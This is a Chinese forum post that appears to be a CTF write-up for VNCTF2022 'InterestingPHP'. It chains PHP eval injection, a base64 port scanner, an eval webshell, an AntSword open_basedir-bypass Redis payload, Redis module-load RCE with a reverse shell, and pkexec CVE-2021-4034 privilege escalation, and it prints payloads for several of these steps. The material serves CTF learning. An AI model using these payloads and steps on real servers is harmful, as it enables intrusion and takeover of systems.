首页
社区
课程
招聘
[原创][VNCTF2022]InterestingPHP复现
发表于: 2022-4-6 11:20 12358

[原创][VNCTF2022]InterestingPHP复现

2022-4-6 11:20
12358

最近一直在备考,也没时间来复盘一下之前遇到的好题,正好最近比较空闲

来看一下我之前遇到的比较好的题,来记录一下学习

题目打开只有简单的源码

尝试看一下phpinfo发现被ban了,不过不要紧,我们还有其他的方法可以获取配置信息

比如ini_get_all()

该函数可以来读取php相关的配置信息,例如disable_functions/disable_class/open_basedir等信息

我们来构造一下,查看一下相关的配置信息

可以看到disable_functions/disable_class/open_basedir这些方法都被ban了,但是scandir()file_put_contents()等都没被ban,这是非常重要的信息,我们可以利用scandir()先看一下当前目录有无其他东西

发现了secret.rdb

能够提取出一串字符串

高度怀疑此处是redis的密码,但是redis并不在默认端口6379,此处陷入了僵局

但是我们可以扫一下端口(参照WMCTF2021MakePHPGreatAgainAndAgain),利用如下exp配合file_put_contents()将exp写入服务器,再触发

可以看到两个端口808888存活

利用get_loaded_extensions()查看所有编译并加载的模块,发现了redis


也就是说,可以利用redis module load rce

https://xz.aliyun.com/t/5665#toc-13

这里按照之前比赛的经验,我想要利用蚁剑的redis插件操作redis,这样会方便很多。

我们来写入一个webshell

尝试用蚁剑来操作redis失败

这里我们可以抓个包看看怎么回事,把蚁剑的流量代理到bp上

可以看到stream_socket_client是蚁剑连接redis的方法,但是该方法在disable_functions中,所以此路不通了

这时候可以利用file_put_contents写so文件,再利用gopher协议RCE然后反弹shell,想比于直接redis交互,就是麻烦了一点

把so文件放在你的vps上,然后用python开一个http服务,然后利用如下exp来写入靶机中

file_put_contents写so文件:

可以看到vps这边有一个记录

此时so文件写入成功,接下来进行RCE反弹shell

exp:

成功反弹shell,找一下flag

提示没有权限,此时我们需要找个办法提权一下

运行find / -user root -perm -4000 -print 2>/dev/null看有没有可以利用的地方

看到这里,我想到了之前的pkexec提权(CVE-2021-4034)

https://github.com/arthepsy/CVE-2021-4034.git

我们可以尝试一下看看,能否提权,把exp.c文件放到vps让,在靶机里执行curl下载到靶机

成功下载并且放到了/tmp目录下,进入目录并且利用gcc编译

这里注意,要给权限不然运行不了,给完权限运行一下试试

成功提权并且拿到flag

 
 
 
 
 
 
 
 
/?exp=var_dump(ini_get_all());
/?exp=var_dump(ini_get_all());
 
/?exp=var_dump(scandir('/var/www/html'));
/?exp=var_dump(scandir('/var/www/html'));
 
 
 
ye_w4nt_a_gir1fri3nd
ye_w4nt_a_gir1fri3nd
 
//此处我用的官方wp的exp脚本
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
//此处我用的官方wp的exp脚本
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
 
 
 
 
 
?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a'])));
 
POST:
a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==
?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a'])));
 
POST:
a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==
 
 
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");
$conn=@stream_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);
if(!$conn){
echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";
}else{
@fwrite($conn,$cmd,strlen($cmd));
$resp=@fread($conn, 8196);
@stream_set_blocking($conn,0);
while($buf=@fread($conn,8196)){$resp.=$buf;}
stream_set_blocking($conn, 1);
echo base64_encode($resp);
@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);
@fclose($conn);
};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");
$conn=@stream_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);
if(!$conn){
echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";
}else{
@fwrite($conn,$cmd,strlen($cmd));
$resp=@fread($conn, 8196);

[注意]APP应用上架合规检测服务,协助应用顺利上架!

收藏
免费 4
支持
分享
打赏 + 80.00雪花
打赏次数 1 雪花 + 80.00
 
赞赏  Editor   +80.00 2022/04/29 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//